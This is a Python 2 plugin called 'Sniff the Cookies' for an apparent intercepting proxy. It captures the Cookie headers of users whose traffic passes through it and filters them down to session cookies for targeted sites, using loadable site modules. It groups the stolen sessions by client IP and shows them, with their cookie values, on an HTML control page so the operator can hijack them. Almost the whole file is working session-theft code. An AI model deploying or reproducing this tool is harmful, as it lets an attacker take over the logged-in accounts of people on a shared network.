#
#SNIFF THE COOKIES
#PMOD PLUGIN
#

import sys, os
from urlparse import parse_qs
import hashlib

name = "Sniff the Cookies" #Name
web = "stc.html"           #Web Page File

class session:
    site = ""
    userName = ""
    userAgent = ""
    userAvatar = ""
    sessionID = ""
    cookies = {}

def setup(storage):
    storage.sessions = {} #key = ip address
    storage.sites = []
    if not os.path.exists("./plugins/stc-sites/"):
        return
    sys.path.append("./plugins/stc-sites/")
    lst = os.listdir("./plugins/stc-sites")
    for i in lst:
        if i.lower().endswith("site.py"):
            storage.sites.append(__import__(i[:-3],None,None,[]))

def splitCookies(cookiestr):
    out = {}
    cookielist = cookiestr.split(";")
    for i in cookielist:
        parts = i.split("=")
        if len(parts) == 2:
            name = parts[0]
            value = parts[1]
            if name.startswith(" "):
                name=name[1:]
            out[name] = value
    return out

def md5(s):
    m = hashlib.md5()
    m.update(s)
    h = m.hexdigest()
    del m
    return h

def edit_REQUEST(request,storage):
    if storage.enabled:
        client_ip = request.proxy.client_address[0]
        if client_ip not in storage.sessions:
            storage.sessions[client_ip] = {} #key = sessionID
            print "-- new computer"

        if request.headers.has_key('cookie'):
            print "-- it has cookies, pile on!"
            for i in storage.sites:
                for domain in i.domains:
                    if domain in request.host:
                        sess = session()
                        sess.site = i.site
                        sess.cookies = splitCookies(request.headers['cookie'])
                        toremove = []
                        for c in sess.cookies:
                            if c not in i.sessionCookieNames:
                                toremove.append(c)
                        for c in toremove:
                            del sess.cookies[c]

                        if len(sess.cookies) == 0:
                            del sess
                            return

                        sess.sessionID = md5(str(sess.cookies))

                        if 'user-agent' in request.headers:
                            sess.userAgent = request.headers['user-agent']
                        if 'processPacket' in dir(i):
                            i.processPacket(sess)

                        if sess.sessionID in storage.sessions[client_ip]:
                            del sess
                            return
                        if 'identifyUser' in dir(i):
                            i.identifyUser(i,sess)
                        storage.sessions[client_ip][sess.sessionID] = sess
                        return

def do_PAGE(storage):
    out = ""
    if(storage.enabled):
        out+="""<script>function toggle(obj) { var el = document.getElementById(obj); if ( el.style.display != 'none' ) { el.style.display = 'none'; } else { el.style.display = 'block'; } }</script><a href='stc.html?disable'>Disable</a><br><br>Sites Plugged in: """
        for i in storage.sites:
            out+=" "+i.site+" &#183;"
        out+="<br><br>Sessions:<br>"
        for i in storage.sessions:
            out+="<br>"+i+":<br>"
            for s in storage.sessions[i]:
                sess = storage.sessions[i][s]
                site = sess.site
                userName = sess.userName
                out+=userName + " on " + site + " <a href='javascript:toggle(\""+sess.sessionID+"\");void(0);'>(toggle)</a><br>"
                out+="<div style='display:none' id='"+sess.sessionID+"'>"+''.join([k+": "+sess.cookies[k]+"<br>" for k in sess.cookies])+"</div>"
            out+="<br>"
        out+=""""""
    else:
        out+="<a href='stc.html?enable'>Enable</a>"
    return out

def handle_HTTP_RESPONSE(response,storage):
    if response.path.find("?") >= 0: #Probably editing something...
        query = response.path[response.path.find("?")+1:]
        if query=="enable": #Common 'enabled' switching
            storage.enabled = 1
        if query=="disable":
            storage.enabled = 0
        if "update=Update" in query: #Update vars
            q = parse_qs(query)
            pass
